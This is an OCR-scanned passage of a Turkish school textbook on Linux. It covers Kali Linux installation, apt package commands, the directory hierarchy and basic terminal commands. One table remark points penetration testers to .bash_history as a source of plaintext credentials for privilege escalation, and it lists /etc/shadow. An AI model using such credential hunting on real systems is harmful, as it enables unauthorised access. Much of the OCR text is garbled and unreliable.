Yeni kullanicinin tam adr:

== )

Ekran goruntisia | | Geri don | Devam l

Gorsel 4.17: Kullanici adini belirleme

13. Adim: Kullanici sifresi giriniz (Gorsel 4.18).

| KALI |

larive p

lyi bir parola harfler, rakamlar ve nokral i lerinin uygun bir kombinasy dan ol li ve d
Yeni kullanic ;m bir parofa girin:

[evee

] Parolayi Gaster

Hatasiz yazdiginizi dogrulamak icin aymi kullanici parolasini tekrar girin.
Dogrulamak igin parolay: tekrar girin:

e I
7] Parolay: Goster

Ekran gériintisi | Geriden | Devam

Gorsel 4.18: Parola belirleme
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14. Adim: Disk bolimleme yontemini seciniz (Gorsel 4.19).

| KALI I

Diskleri bolumle

lum prog disk balami k da ( dart bal 5 lar kull ak) size yardim edebilir;

ya da tercih ederseniz elle bolomleme yapabilirsiniz. yardimaiss esliginde bolami yaparsaniz
islemin sonunda hala sonuclan gozden gecirme ve degistirme sansiniz olacakuir.
Eger batan bir diskin bolaml inde bolimil yardimcisim kull ¥I secmi iz bir ki adimd
hangi diskin kullanilacag size sorulacakur.
Bélimleme yéntemi:
Yardimci ile - diskin tamamini kullan
Yardimai ile - diskin tamamini kullan ve LVM'yi ayarla

la - diskin t sifrelenmis LVM ile kullan
Elle
Ekran gorantasi | | Geri don [ Devam L3

Gorsel 4.19: Disk bolimleme yontemini segme
15. Adim: Bolimlenecek diski seginiz (Gorsel 4.20).

| KALI |

Dikkat! Sectiginiz diskreki batan veriler silinecektir. Fakat bu islem ancak diskte yapilacak degisiklikleri siz

Diskleri bolimle

onaylandiqimizda ger¢eklesecektir.
Boldmienecek diski segin:

SCS13 (0,0,0) (sda) - 58.1 GB ATA VBOX HARDDISK

Ekran gérintisi Geri don | Devam

Gorsel 4.20: Bolimlenecek diski se¢me
16. Adim: Bolimlenecek alani seginiz (Gorsel 4.21).

| KALI |

SCSI3 (0,0,0) (sda) - ATA VBOX HARDDISK: 58.1 GB

Diskleri bolamle

Bolumlenecek alam secin:

Disk birkag farkh sekilde bélimlenebilir. Emin d
Bdldmleme semasi:

gilseniz, birinci y1 secin.

Tum dosyalar rek bolomde (yeni kullanmicilara énerilir)
Ayri fhome boluma
Ayni /home, fvar ve [tmp bolamleri

| Ekran gorantdsa |

| 3

Geidon || pevam |

Gorsel 4.21: Bolimlenecek alani segme
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17. Adim: Bélimlemeyi tamamlayiniz (Gorsel 4.22).

| KALI |

Diskleri bolamle
Mevcut bolim yapilandirmaniz ve badl: agadida gardlayor. Ayarianni (dosya sistemi, badlama noktalan vb.)
Gistirmek istediginiz bir balim, bélumler clusturmak igin bos bir alan veya bolimleme tablosunu ilklendirecediniz bir
aygit segin.
P yardimcising kull e
| RAID di gini yaf
Manuksal Disk Yoneticisini (LVM) yapiland

Sifrelenmis cilt yapilandir
iSCSI ciltlerini yapilandir

= SCS13 (0,0,0) (sda) - 58.1 GB ATA VBOX HARDDISK
£ #1  birincil 57.1GB f ext4 f
= #5 mantiksal 1.0GB f takas takas

Bolamlerdeki degisiklikleri geri al
Balamlemeyi bitir ve degisiklikleri diske kaydet

Ekran gorantosa | Yardim | Geri don [ Pevam I

Gorsel 4.22: Bolimlemeyi tamamlama

18. Adim: Degisikliklerin diske kaydedilmesini Evet secenegini isaretleyip, Devam diigmesine basarak
onaylayiniz (Gorsel 4.23).

Diskleri bolumle

Devam etmeniz halinde asagida I bordn degisiklikler diskl

kaydedilecektir. Aksi halde bundan
sonraki degisiklikleri elle yapacaksiniz.

Su aygitlanin bélumleme tablolan degistirilecek:
SCSi3 (0,0,0) (sda)

Asagidaki bolamler bicimlenecek:

SC513 (0,0,0) (sda) aygiuimin 1 numaral boloma extd varande
SCS13 (0,0,0) (sda) aygitinin 5 numaral bolimi takas tarande

Deqigikiikler diske kaydedilsin mi?
) Haywr

@ Evet|

Ekran gorantiso | Diivarn

Gorsel 4.23: Degisiklikleri kaydetme

19. Adim: Temel sistem kurulumunun tamamlanmasini bekleyiniz (Gorsel 4.24).

| KALI I

Temel sistemi kur

Temel sistem kuruluyor |

Ekstra paketler kuruluyor - peiutils abniyor ve kuruluyer...

Gorsel 4.24: Temel sistemin kurulmasi
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20. Adim: Masadistl ortaminin ve varsayilan araglarin kurulmasi icin yazilim segimini Gorsel 4.25'deki

gibi yapiniz.
| KALI I

At the moment, only the core of the system is installed. The default selections below will install Kali Linux with
s dard desktop i and the default tools.

Yazilim segimi

You can customize it by choosing a different deskrop environment or a different collection of rools.
Choose software to install:
Desktop environment [selecting this item has no effect]

¥ ... Xfee (Kali's default desktop environment)
] ... GNOME

[l ... KDE Plasma
¥ Collection of tools [selecting this item has no effect]
¥ ... topl0 — the 10 most popular tools
¥ ... default - rec ded tools (

ilable in the live sy

Gorsel 4.25: Yazilim segimini yapma

21. Adim: Sectiginiz yazilimlarin kurulmasini bekleyiniz (Gorsel 4.26).

| KALI I

Yanhm seq ve kur

Yaznhm seq ve kur

hibgtk-3-0 {amd64) yapilandirdyor

Gorsel 4.26: Secilen yazilmlarin kurulmasi

22. Adim: GRUB onyikleyiciyi Evet secenegini isaretleyip, Devam diigmesine basarak kurunuz (Gorsel
4.27).

KALI

GRUB onyukleyiciyi kur

Goranise gore bu yeni kurulum, bu

bilgisayardaki tek isletim sistemi. Oyleyse, GRUB ényukleyicisini birincil
srdconoze (UEFI bola

kaydi) yu guvenli olacaktr.
Uyan: Bilgisayanmizda yukleyicinin algilayamadigi bagka bir isletim sistemi varsa, bu, isletim sistemini gegici
olaral yukh hale geti ktir, ancak GRUB daha sonra ényoklemek icin manuel olarak
yapilandinlabilir.
GRUB 1 birmed sGrd mi?
) Haywr
@ [Ever|
Ekran garintisi | Geri don Devagl
Gorsel 4.27: GRUB onyiikleyiciyi kurma
23. Adim: Onyiikleyicinin kurulacagi aygiti Gérsel 4.28’daki gibi seciniz.
GRUB enyukleyiciyi kur
GRUB anyakleyiclyl enyiklenebilir bir aygita yukleyerek yeni k lan sistemi anyiklenebilir hale getirmeniz
gerekir. Bunu yapmanin genel yolu, GRUB'u birincil surucuniaze (UEFI i kaydi).
Bunun yerine GRUB'u farkl bir sariciye (veya bolume) veya gikanlabili k bilirsini,
OnyGkleyicinin kurulacagi aygrt:
Aygiti elle gir
/devisda (ara-VBOX_HARDDISK VBb64299f1-a48b1hb16)
Ekran gorantosg , Geri don [ De\nm* i

Gorsel 4.28: Onyiikleyicinin kurulacagi aygiti secme
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24. Adim: Kurulumun tamamlanmasini bekleyiniz (Gorsel 4.29).

KALI

Kurulumu bitir

simple-cdd ¢aligtinlryor...

Gorsel 4.29: Kurulumun tamamlanmasi

25. Adim: Kurulum tamamlandiktan sonra sistemi yeniden baslatmak icin Devam digmesine basiniz

(Gorsel 4.30).
KALI

Kurulumu bitir

Kurulum tamamland:

Kurulum tamamlandi ve simdi sira bilgisayanimizi yeni sisteminiz ile agmaya geldi. Kurulum
programimin tekrar basl, ve yeni si inizden acilis yapil icin kurulumda kulland
ortami cikarmay! unutmayin.

Yeniden baslatmak icin lutfen <Devam> ogesini secin.

El-craa gén}mn]sfs. Geri don | Devam
Gorsel 4.30: Yeniden baglatma
26. Adim: Kullanici adi ve parolanizi girerek Kali Linux masatstine ulasiniz (Gorsel 4.31).

Gorsel 4.31: Kali Linux masausti

4.1.3.2. Linux isletim Sisteminde Giincelleme Yapma ve Yardimci Yazilim Kurma
islemleri

Linux sistemlerinin program paketlerini ve uygulamalari barindiran paket depolari vardir. Bu depolar
ayrica cesitli yazilimlarin farkli sirimlerini ve glincellemelerini de icerir. Bu da kullanicilarin istedikleri
programlari kolayca yiklemelerine veya mevcut uygulamalarini giincellemelerine olanak tanir.

Paket depolari Linux dagitimlarina gore farklilik gésterebilir. Bu ylzden farkli Linux dagitimlarinin kendi
paketleri lGizerinde islem yapabilmek icin farkli komutlari bulunur. Kali Linux, Debian tabanli bir Linux
dagitimidir. Debian tabanli tim dagitimlarda Tablo 4.2’deki paket yonetimi komutlari kullanihr.

@
Linux isletim sistemleri, paket depolarinin listesini /etc/apt/sources.list dosyasinda ?‘
tutar. o <

i =
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Tablo 4.2: Paket Yonetimi (Glincelleme, Kurma ve Kaldirma) Komutlari

Bu komut calstirildiginda kurulum islemi yapilmaz, sadece depolarda
yer alan yenilikler kontrol edilir. Linux isletim sisteminde bulunan tim
depolarin listesini glinceller. Yeni bir paket yliklemesi yapmadan énce bu
komutun calistirilmasi onerilir.

apt-get update

Bu komut galistirildiginda yukli olan tiim paketleri en son siriimlerine

CTEE U REE giinceller.

Bu komut calistirildiginda belirtilen paket yiklenir. Tek komutla birden
apt-get install [paket adi] [ fazla paket ylklemek icin paket adlari arasinda bosluk birakilir.

Ornek: sudo apt-get install filezilla hardinfo

Bu komut calistirildiginda belirtilen paket kaldirilir.
apt-get remove [paket adi] | .. o
Ornek: sudo apt-get remove filezilla

Fedora, CentOS ve Manjaro Linux dagitimlarinin paket yonetimi komut-
larini arastiriniz. Arastirma sonucunuzu arkadaslariniz ve 6gretmeninizle
paylasiniz.

2. UYGULAMA Paket yonetimi islemlerini asagidaki adimlar dogrultusunda
gerceklestiriniz.

1. Adim: Ugbirim 6ykinictsind agarak komut satirindan hardinfo paketinin kurulumunu gergeklesti-
riniz (Gorsel 4.32).

L—(ogrenci@ okul)-[~]
$[sudo apt-get install hardinfo]

Paket listeleri okunuyor ... Bitti
Bagimlilik agaci olusturuluyor... Bitti
Durum bilgisi okunuyor... Bitti
Onerilen paketler:
mesa-utils
Asagidaki YENI paketler kurulacak:
hardinfo
0 paket yiikseltilecek, 1 yeni paket kurulacak, @ paket kaldirilacak ve 89 paket yiiksel
tilmeyecek.

0 B/324 KB arsiv dosyasi indirilecek.

Bu islem tamamlandiktan sonra 892 kB ek disk alani kullanilacak.
Daha dénce seg¢ili olmayan hardinfo paketi segiliyor.

(veritabani okunuyor ... 420085 dosya veya dizin kurulu durumda.)
Paket agilacak: .../hardinfo_0.5.1+git20180227-2.1+b1_amd64.deb
Paket aciliyor: hardinfo (0.5.1+git20180227-2.1+b1)

Ayarlaniyor: hardinfo (0.5.1+git20180227-2.1+b1)

Tetikleyiciler isleniyor: mailcap (3.70+nmul)

Tetikleyiciler isleniyor: kali-menu (2023.3.3) ...
Tetikleyiciler isleniyor: desktop-file-utils (0.26-1)
Tetikleyiciler isleniyor: man-db (2.11.2-3)

Gorsel 4.32: Paketi kurma
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2. Adim: Komut satirinda hardinfo yazarak programi calistirip, paketin ylklendigini dogrulayarak
programi kapatiniz (Gorsel 4.33).

[—( ogrenci® okul)-[~]

«dinfo
irdinfo i
$ nar ni Computer - Summary - System Information

Gorsel 4.33: Paketin yiklendigini dogrulama

3. Adim: Komut satirindan hardinfo paketini kaldiriniz (Gérsel 4.34).

(ogrenci okul )-[~]
—$ [sudo apt-get remove hardinfo |
Paket listeleri okunuyor... Bittil
Bagimlilik agaci olusturuluyor... Bitti
Durum bilgisi okunuyor ... Bitti
Asagidaki paketler KALDIRILACAK:
hardinfo
@ paket yiikseltilecek, @ yeni paket kurulacak, 1 paket kaldirilacak ve 89 paket yiiksel
tilmeyecek.
Bu islem tamamlandiktan sonra 892 kB disk alani bosalacak.
Devam etmek istiyor musunuz? [E/h] E
(Veritabani okunuyor ... 420171 dosya veya dizin kurulu durumda.)
Kaldiriliyor: hardinfo (0.5.1+git20180227-2.1+b1)
Tetikleyiciler isleniyor: desktop-file-utils (©.26-1)
Tetikleyiciler isleniyor: man-db (2.11.2-3)
Tetikleyiciler isleniyor: mailcap (3.70+nmul)
Tetikleyiciler isleniyor: kali-menu (2023.3.3)

Gorsel 4.34: Paketi kaldirma

SIRA

Bilgisayarinizda ugbirim oykinicisini agarak komut satirindan paket adi
Geany olan editoriin kurulumunu gergeklestiriniz. Paketin yuklendigini
dogrulamak icin Geany editoriini calistiriniz ve komut satirindan Geany
editorind kaldiriniz.
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4.1.4. Linux isletim Sisteminin Dizin Yapisi ve Dosya Sistemi

Linux isletim sistemleri hiyerarsik bir dosya sistemine sahiptir. Bu sistemde icerdigi bilgiler agisindan
blylk 6neme sahip dizinler ve dosyalar bulunur. Bu dizin ve dosyalarin dizenli bir sekilde organize
edildigi bir dizin yapisi vardir. Bu organize dizin yapisiyla dosya sistemlerinin yonetimi kolaylasir. Bu
yapinin en tepesinde / dizini bulunur. Buna kék dizin denir. Diger dizinler kok dizinin altinda siralanir. Bu
baglamda Linux dizin yapisi agac¢ sistemi gibi distinulebilir (Gorsel 4.35).

/

/boot /home /lib Jetc /dev Jopt /proc /root /media /mnt

[run /sbin /srv /sys Jtmp Jusr [var /bin /cdrom

Gorsel 4.35: Linux dizin yapisi

Kok dizin altindaki dizinler Linux Dosya Sistem Hiyerarsisi olarak isimlendirilen bir standart ile
belirlenmistir. Linux dosya sisteminde bulunan dnemli dosya ve dizinlerle ilgili detaylar Tablo 4.3’te
verilmistir.

Tablo 4.3: Linux Dosya Sisteminde Bulunan Onemli Dosya ve Dizinler

Dosya ve Dizin Detaylar

Linux dosya sisteminin en tepesinde olan kdk dizindir. Diger tiim dizinler kok

/ dizin icinde yer alir.

/bin Linux isletim sistemini kullanmak igin gereken lIs, cat, mkdir, cp, mv, rm gibi
temel komutlarin bulundugu dizindir.

/boot Boot islemi icin gereken ¢ekirdek goriintlisiind, sistem haritasini ve 6nyukle-
yici yapilandirmasini barindiran dizindir.

/dev Linux isletim sisteminde USB portlari, diskleri, CD-ROM gibi ¢ikarilabilir aygit-
lari temsil eden dosyalarin bulundugu dizindir.

/Jetc Linux isletim sistemi yapilandirma dosyalarinin bulundugu dizindir.

var Linux isletim sistemi ve programlara ait log dosyalari ile kullanicilara ait e-pos-

ta mesajlarinin bulundugu dizindir.

Linux isletim sisteminde sanal bir dosya sistemidir. Stirecler, donanim bilgileri,
/proc bellek kullanimi, sistem istatistikleri gibi ¢esitli bilgileri iceren sanal dosyalarin
bulundugu dizindir.

Kullanici hesaplarinin kisisel dizinlerini iceren dizindir. Ornegin /home/ogren-
/home ci dizini, ogrenci adli bir kullanicinin ev dizinini temsil eder. Bu dizin altinda
kullanicinin belgeleri, muzikleri, resimleri ve diger dosyalari bulunabilir.

/lib Sistem kltlphanelerini iceren dizindir.
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Linux isletim sistemlerinde cikarilabilir medya aygitlari icin kullanilan bir bag-
lanma noktasidir. Ornegin bilgisayara takilan bir USB bellek otomatik olarak /

e media dizini altinda bir alt dizine monte edilebilir. Bu sayede kullanicilar /me-
dia dizini altindaki ilgili alt dizine giderek USB bellekteki dosyalara erisebilir.
Manuel olarak monte edilen depolama aygitlari icin kullanilan bir baglanma

/mnt noktasidir. Kullanicilar /mnt dizini altinda depolama aygitlarini gecici olarak
monte edebilir.

/sbin Sadece root kullanicisinin ¢alistirabilecegi komutlarin bulundugu dizindir.

Jstv Linux isletim sisteminde c¢alisan hizmetlere ait dosyalari saklamak igin kulla-
nilan bir dizindir.

/tmp Gegici dosyalarin bulundugu dizindir.

Jusr Farkli kullanicilar arasinda paylasilan program, komut ve kitiphane gibi kay-
naklarin bulundugu dizindir.

Jopt Ugiincii parti kullanici programlarinin kuruldugu dizindir.

/root Linux isletim sistemlerinde root kullanicisinin ev dizinidir.

Nar/lo Calisan hizmetler, stirecler ve kullanici aktiviteleriyle iliskili kayitlarin tutuldu-

g gu dizindir.
/var/mail Kullanicilara ait e-posta dizinlerinin yer aldigi dizindir.
/var/www Web sitelerinin dosya igerigini barindirmak icin kullanilan bir dizindir.

bash_history

Kullanicinin komut gecmisinin bulundugu gizli bir dosyadir. Bu dosya sizma
testi islemlerinde icerdigi bilgi bakimindan buyik dnem tasir. Yetki ylkselt-
mek isteyen kisiler ilk olarak bu dosyayi inceler. Bu dosya icinde veri tabani,
dosya sunucusu gibi hizmetlerin kullanici adi ve parola bilgileri diiz metin ola-
rak gorilebilir.

/proc/version

Linux isletim sisteminin kernel versiyonu hakkinda bilgi veren bir dosyadir.

/proc/swaps

Linux isletim sistemlerinde mevcut olan takas alanlarini listelemek igin kulla-
nilan sanal bir dosyadir.

/proc/cpuinfo

Linux isletim sisteminde islemcinin teknik ozellikleri, hizi, ¢cekirdek sayisi ve
onbellek boyutlari hakkinda bilgi veren sanal bir dosyadir.

/etc/os-release

Linux isletim sisteminin siirima ve dagitimi hakkinda bilgi veren dosyalardir.

Jetc/issue

Jetc/passwd Linux isletim sisteminde tanimh kullanici hesaplarinin temel bilgilerini iceren
P bir dosyadir.

Jetc/shadow Linux isletim sisteminde kullanici parolalarinin sifrelenmis bir sekilde saklan-

digi dosyadir.
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/etc/network/inter-

faces Ag araylzlerinin (Ethernet, Wi-Fi vb.) yapilandirma bilgilerini iceren dosyadir.

Linux isletim sisteminde IP adreslerini ve karsilik gelen ana bilgisayar adlarini

/etc/hosts tutan bir dosyadr.

Linux isletim sisteminde TCP/UDP ag servislerinin port numaralarini ve isim-

etc/services . .
ez lerini tutan bir dosyadir.

Linux isletim sisteminde sadece bilgisayarin ismini (hostname) igeren bir dos-

tc/host
/etc/hostname vadir,

/etc/ssh/sshd_config | OpenSSH (Secure Shell) sunucusunun yapilandirma dosyasidir.

Linux isletim sisteminde normal kullanicilarin belirli komutlari root yetkisiyle

[etc/sudoers calistrmasini saglayan bir dosyadir.

4.1.5. Linux isletim Sistemi Komut Satiri islemleri

Linux kullanicilari, komut satiri arayiizii (CLI) araciligiyla isletim sistemi ile iletisim kurar. Komut satiri
arayiiziinii kullanmak igin isletim sistemindeki Ugbirim Oykiiniiciisii (Terminal) uygulamasi calistirilir.

Terminali agmak icin kullanilan ilk yéntemde panelde bulunan Ugbirim Oykiiniiciisii simgesi tiklanir
(Gorsel 4.36).

"%\---IB* I DNY W RN

Gorsel 4.36: Panel

Terminali agmanin diger bir yontemi icin Uygulamalar butonu tiklanir. Arama ¢ubuguna Ugbirim yazilr.
Arama sonucunda ¢ikan Ugbirim Oykiiniiclisii uygulamasina tiklanir (Gorsel 4.37).

BEak o] O ¢ & B35 | @ G

Q Ugbirim|

Ugbirim Oykiinticlisti 4m—

Gorsel 4.37: Uygulamalar Gizerinden Terminal agma

Ucbirim Oykiinticiisii (Terminal) calistirildiginda Gérsel 4.38’taki pencere ekrana gelir.

ogrenci@okul: ~

(ogrenc1oku1)—[~]
5

Gorsel 4.38: Terminal ekrani

Ctrl, Alt ve T tus kombinasyonu da Terminal uygulamasini ¢alistirmak igin kullantlir. ot
i
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Linux isletim sistemi komut yapisiyla ilgili 6rnekler Tablo 4.4’te verilmistir.

Tablo 4.4: Linux Komut Yapisiyla ilgili Ornekler

Kullanici Bilgisayar . ..
Adi @ Adi Yetki Komut Parametre Argiman
ogrenci % | okul ~ S Is -la /home
ogrenci 4 | okul / S cat -n etc/passwd
root 4 | okul /home/ogrenci | # mkdir -p ﬁﬁ;iler/SIStem/
¢ Dizin kisminda yer alan ~ (tilde) isareti kullanicinin ev dizinini, / isareti ise kok dizini e

belirtmek igin kullanilir.

o Yetki kisminda yer alan $ isareti normal kullanici yetkisini, # isareti ise root kullanic
yetkisini belirtmek igin kullanilir.

e Yetki isaretinden sonra ilk komut yazilir. Komuttan sonra her zaman parametre
veya argiman kullanma zorunlulugu yoktur. Bazi komutlar ek parametrelere veya
arglimanlara ihtiya¢ duymadan kullanilabilir.

e Parametre kisminda yer alan -la gibi parametreler -1 -a seklinde de yazilabilir.

e Kali Linux isletim sisteminde @ kisminda 96 simgesi goriilebilir.

a0"

4.1.5.1. Yardim ve Bilgi Alma Komutlari

Yardim komutlari diger komutlarin kullanimi hakkinda bilgiler verir. Bilgi alma komutlari ise bilgisayar
adi, cekirdek (kernel), kullanici kimligi, tarih, saat, disk kullanimi, bellek miktari gibi bircok bilgiye erisimi
saglar. Yardim komutlari, komutlarin kullanimi ve agiklamalari Tablo 4.5'te verilmistir.

Tablo 4.5: Linux Yardim Komutlari

Komut Komutun Genel Kullanimi Aciklama
help [komut ad1] --help Komut hakkinda yardim sayfasini gérintdler.
man e e e :g:j::ccglaelﬁmda detayli bilgiler veren kilavuz sayfalarini
info info [komut adi] Komut hakkinda kullanim bilgisini géruntiler.
whatis whatis [komut adi] Komut hakkinda tek satirlik bilgi verir.

Aranilan kelime ile ilgili tim komutlari listeler.
apropos apropos [komut adi] Kullanilmak istenen komut isminin tam olarak
hatirlanmadigi durumlarda yardimci olur.

3. UYGULAMA Yardim komutlarinin kullanimini asagidaki adimlar dogrultusunda
gerceklestiriniz.

1. Adim: Ugbirim 6ykiinticlisini aginiz.



4. OGRENME BiRiMi

2. Adim: Dizin olusturan mkdir komutu hakkinda yardim sayfasini gérintilemek icin komut satirina
mkdir --help yazip enter tusuna basarak acilan sayfadaki parametre kullanimlarini inceleyiniz (Gorsel
4.39).

[j—(ogrenciééokul)w[~]
$ mkdir --help

Kullanim: mkdir [SEGENEK] ... DiziNn...
Halihazirda yoklarsa DIZIN'(ler)i olustur.

Uzun seceneklere olan gerekli argiimanlar kisa segenekler icin de gecerlidir.

-m, --mode=KiP dosya kipini ayarla (chmod gibi), a=rwx - umask degil

-p, --parents mevcutsa hata yok, list dizinleri onlarin dosya kipleriyle
herhangi bir -m segeneginden etkilenmeyecek bicimde yap

-v, --verbose her olusturulan dizin icin bir ileti yazdir

=Z olusturulan her dizinin SELinux giivenlik baglamini

ontanimli tire ayarla

--context[=BGL] -Z gibi veya BGL belirtilmisse SELinux veya SMACK
giivenlik baglamini BGL'ye ayarla

--help bu yardimi gorintiile ve gik

--version siirim bilgisini ¢iktila ve g¢ik

GNU coreutils dahili yardimi: <https://www.gnu.org/software/coreutils/>

GCeviri hatalarini <https://translationproject.org/team/tr.html>'ye bildirin
Tam belgelendirme <https://ww.gnu.org/software/coreutils/mkdir>

veya yerel olarak info '(coreutils) mkdir invocation' iizerinden kullanilabilir

Gorsel 4.39: help komutunun 6rnek kullanimi

3. Adim: Komut satirina man mkdir yazip, enter tusuna basarak mkdir komutuna ait kilavuz sayfalarini
gorlntileyiniz.

4. Adim: Space (bosluk) tusuna basip, sayfayi asagi kaydirarak sayfayi yukari kaydirmak i¢in b tusuna
basiniz ve kilavuz sayfasindan ¢ikmak icin q tusuna basiniz (Gorsel 4.40).

MKDIR(1) User Commands MKDIR(1)

NAME
mkdir - make directories

SYNOPSIS
mkdir [OPTION] ... DIRECTORY ...

DESCRIPTION
Create the DIRECTORY(ies), if they do not already exist.

Mandatory arguments to long options are mandatory for short options too.

-m, --mode=MODE
set file mode (as in chmod), not a=rwx - umask

-p, --parents
no error if existing, make parent directories as needed, with their
file modes unaffected by any -m option.

Gorsel 4.40: mkdir kilavuz sayfasi

Cihazinizda 6nce ugbirim oykiiniclsinde cat komutu hakkinda yardim sayfasini
gorlntileyip clear komutunun kullanimi ile ilgili detayl bilgi almak icin kilavuz
sayfasini goriintileyiniz. Ardindan apropos Is ve man -k Is komutlarini ayri
terminallerde galistirarak ciktilarini karsilastiriniz.
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Bilgi alma komutlari, komutlarin kullanimi ve agiklamalari Tablo 4.6°da verilmistir.

Tablo 4.6: Linux Bilgi Alma Komutlari

Komut Komutun Genel Kullanimi Aciklama
uname
uname uname -s Sistem cekirdegi ve versiyonu hakkinda bilgiler verir.
uname -v
hostname hostname Bilgisayarin agdaki adini goruntiler.
Isb_release |Isb_release -a Kullanilan Linux dagitimi ile ilgili bilgiler verir.
which which [komut adi] Komutun dosya konumunu verir.
whoami whoami Etkin kullanici adini gosterir.
who who Sisteme giris yapan kullanicilar hakkinda bilgiler verir.
w w Sistem (izerinde oturumu devam eden kullanicilarin anlik
durumunu ve etkinliklerini gosterir.
last last Son login olan kullanici bilgilerini gosterir.
Sistem lizerindeki ¢alisma siresini, ortalama yuk
uptime uptime durumunu ve. kullanici oturum sayisini gbst.erir. upti.m.e
-s komutu, sistem baslangi¢ zamanini belirlemek igin
kullanihr.
date date Si:st?mi"n tarih ve vs‘aa‘t aya.rl‘arlnl kontrol etmek,
gorintilemek veya degistirmek igin kullanilir.
cal cal Takvim bilgisini goruntiler.
neal ncal Dgh.a.farzlz.a. ij..zelljk ve renklendirme destegi sunarak takvim
bilgisini gorintuler.
locate locate [dosya adi] Aranilan dosyanin konumunu verir.
df df Disk kullanimi hakkinda detayli bilgi verir.
du 33 -h Dizinlerin diskte kapladiklari alan miktarini gosterir.
free free Kullanilan bellek miktarini gosterir.
free -m free -m komutu, ¢ciktinin MB cinsinden olmasini saglar.
history history Komut ge¢misini gosterir.
4. UYGULAMA Bilgi alma komutlarinin kullanimini asagidaki adimlar dogrultusunda

1. Adim: Ugbirim Oykiiniicisiini aginiz.
2. Adim: Komut satirina uname yaziniz.
3. Adim: Komut satirina uname -v yaziniz.
4. Adim: Komut satirina hostname yaziniz.

5. Adim: Komut satirina whoami yaziniz.

gerceklestiriniz (Gorsel 4.41).

6. Adim: Komut satirina last yaziniz.

7. Adim: Ekrana gelen bilgileri inceleyiniz.
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—(ogrenci® okul)-[~]
% uname
Linux

(ogrenci® okul)-[~]
L€ uname -v
#1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kalil (2023-06-29)

—(ogrenci® okul)-[~]
L% hostname

okul
—l(ogrenci® okul)-[~]
L £ whoami

pgrenci

i_—(ogrenciEB okul)-[~]

$ last
ogrenci tiy7 0 Mon Aug 7 10:27 gone - no logout
reboot  system boot 6.3.0-kalil-amdé Mon Aug 7 10:27 still running
ogrenci tty7 H ] Mon Aug 7 1@:18 - 10:27 (0@:e8)
reboot  system boot 6.3.0-kalil-amd6 Mon Aug 7 10:17 - 10:27 (08:89)
pgrenci  tty? 0 Mon Aug 7 10:12 - 10:17 (09:04)

Gorsel 4.41: Sistem ve kullanicilar hakkinda bilgi alma

Cihazinizda 6nce ugbirim Oykinicisinde cat komutunun dosya konumunu
gorintileyip, uptime -s komutunu calistirarak ekrana basilan g¢iktyi
yorumlayiniz. Ardindan Isb_release -a komutuyla kullandiginiz dagitim ile ilgili
bilgileri gorintileyiniz.

5. UYGULAMA Bilgi alma komutlarinin kullanimini asagidakiadimlar dogrultusunda

gerceklestiriniz (Gorsel 4.42).

1. Adim: Ucbirim 6ykiintclsuni aginiz.
2. Adim: Komut satirina df yazarak sistemin disk kullanim bilgisini gortntileyiniz.
3. Adim: Komut satirina free yazarak kullanilan bellek miktarini MB cinsinden goérintileyiniz.

4. Adim: Komut satirina du yazarak dizinlerin diskte kapladigi alanlarin kullanim bilgisini goriintileyiniz.

L—[ogrenci@ okul)-[~]

$ df
Dosya sistemi  1K-blok Dolu Bog Kullanim% Baglanilan yer
udev 1964012 0 1964012 0% /dev
tmpfs 400904 1020 399884 1% /run
/dev/sdal 54553872 15452304 36297908 30% /
tmpfs 2004500 0 2004500 0% /dev/shm
tmpfs 5120 0 5120 0% /run/lock
tmpfs 400900 80  4p0s2e 1% /run/user/1000

C (ogrenci® okul)-[~]
% m

total used free shared buff/cache available
Mem: 3915 2762 224 86 1288 1152
[Swap: 974 (7] 974

|_——['ogrenc i® okul)-[~]
$ du
4

Midzik
i ./Videolar
8 ./.config/dconf
12 ./ .config/Mousepad
16 ./ .config/Thunar

Gorsel 4.42: Depolama hakkinda bilgi alma
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Cihazinizda ©6nce ugbirim oykinicisiinde cal ve ncal komutlarini ayri
terminallerde galistirarak ciktilarini karsilastiriniz. Ardindan locate shadow
komutunu c¢alistirip ekrana basilan ¢iktiyl yorumlayiniz ve komut ge¢misinizi
gorintileyiniz.

4.1.5.2. Dosya ve Dizin Yonetimi Komutlari

Dosya ve dizin yonetimi komutlari ile dosya ve dizin olusturma, dosya icerigini goriintileme, dizin
icerigini listeleme, dizinler arasi gecis yapma, kopyalama, silme, tasima gibi islemler gergeklestirilir.
Dosya ve dizin yonetimi komutlari, komutlarin kullanimi ve agiklamalari Tablo 4.7'de verilmistir.

Tablo 4.7: Linux Dosya ve Dizin Yonetimi Komutlari

Komut Komutun Genel Aciklama
Kullanimi

Bulunulan dizinin adini ekrana yazdirir. Ayrica mevcut dizinin tam yolunu

pwd pwd gosterir.

Dizinler arasinda gegcis yapilmasini saglar.

cd : Kullanicinin ana dizinine gegmeyi saglar.
cd . : Mevcut dizinde kalmayi saglar.

cd cd [dizin adi] cd .. : Bir Ust dizine gegcmeyi saglar.

cd / : Kok dizine gecmeyi saglar.

cd ~ : Kullanicinin ana dizinine gegmeyi saglar.
cd - : Calisilan 6nceki dizine gegcmeyi saglar.

Is Dizin igerigi listeleme, dosya ve dizin hakkinda detaylari goriintiileme
icin kullanihr.
Is [parametre] Is -1 : Mevcut dizindeki dosya ve dizinlerin detayli bir listesini gériintiler.
Is Is-la : Mevcut dizindeki gizli dosya ve dizinler de dahil detayli géruntilenir.

Is [parametre] [dizin adi] Is -Ih : Dosyalari ve dizinleri boyutlari ile listeler.
Isa* :aile baslayan dosya ve dizinleri listeler.
Is [parametre] [dosya adi] | Is *k : k ile biten dosya ve dizinleri listeler.

tree
tree tree -a Dizinlerin icerigini agac yapisi seklinde gosterir.
tree [dizin adi]

Dizin olusturmak igin kullanilr.

Olusturulacak dizin adinda bosluk karakteri varsa “dizin adi” veya ‘dizin
adr’ seklinde kullaniimalidir.

Tek komut satiri ile birden fazla dizin olusturulabilir.

mkdir | mkdir [dizin adi] Ornek: mkdir dizin1 dizin2 dizin3

Gizli dizin olusturmak icin dizin adinin 6niine nokta isareti eklenmelidir.
Ornek: mkdir .Siber

i¢ ige dizin olusturmak igin -p parametresi kullaniimalidir.

Ornek: mkdir -p Grup/RedTeam/Akincilar

Metin dosyasi olusturmak icin kullanilir.

Olusturulacak dosya adinda bosluk karakteri varsa “dosya adi” veya
‘dosya adi’ seklinde kullanilmalidir.

touch | touch [dosya adi] Tek komut satiri ile birden fazla dosya olusturulabilir.

Ornek: touch dosyal dosya2 dosya3

Gizli dosya olusturmak icin dosya adinin 6niline nokta isareti eklenmelidir.
Ornek: touch .dosya

